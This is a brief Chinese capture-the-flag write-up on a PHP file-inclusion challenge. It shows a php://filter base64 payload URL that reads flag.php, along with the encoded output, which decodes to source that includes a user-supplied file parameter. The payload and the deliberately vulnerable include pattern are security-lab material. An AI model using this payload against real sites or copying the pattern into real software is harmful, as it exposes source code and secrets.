【CTF WEB】文件包含

文件包含

题目要求：

请找到题目中FLAG

漏洞源码

文件阅读器

测试方法

http://localhost/?file=php://filter/read=convert.base64-encode/resource=flag.php

解开base64就能拿到key了

PG1ldGEgY2hhcnNldD0ndXRmLTgnPg0KPGNlbnRlcj48aDE+5paH5Lu26ZiF6K+75ZmoPC9oMT48L2NlbnRlcj4NCjwhLS0g5o2u6K+0ZmxhZ+WcqGZsYWcucGhw6YeMIC0tPg0KPD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCiRmPSRfR0VUWydmaWxlJ107DQppZihzdHJpcG9zKCRmLCIuLiIpPT09ZmFsc2UpDQp7DQoJLy87DQp9DQplbHNlDQp7DQoJZXhpdCgnaW52YWxpZCcpOw0KfQ0KaWYoISRmKQ0Kew0KCWhlYWRlcignTG9jYXRpb246ID9maWxlPXRlc3QudHh0Jyk7DQp9DQplbHNlDQp7DQoJaW5jbHVkZSgkZik7DQp9DQo/Pg==

转载于:https://www.cnblogs.com/17bdw/p/9723369.html